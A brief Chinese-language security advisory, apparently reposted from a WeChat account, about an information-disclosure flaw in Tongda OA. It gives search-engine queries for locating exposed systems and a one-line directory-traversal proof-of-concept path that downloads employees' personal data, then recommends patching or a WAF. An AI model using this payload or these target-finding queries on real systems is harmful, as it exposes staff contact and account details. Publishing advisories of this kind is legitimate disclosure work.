通达OA(Office Anywhere网络智能办公系统)是中国通达公司的一套协同办公自动化软件,存在一个认证绕过漏洞,利用该漏洞下载获取系统内所有员工信息,包括手机号、姓名、账号、部门等敏感信息。
通达 OA
搜索引擎语法
Fofa:app="TDXK-通达OA"
Hunter:app.name="通达 OA"
POC
/inc/package/down.php?id=../../../cache/org
建议及时更新至最新版本或者使用WAF安全设备防护!
原文始发于微信公众号(极星信安):安全情报,X达OA down.php 存在信息泄露漏洞!!!
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论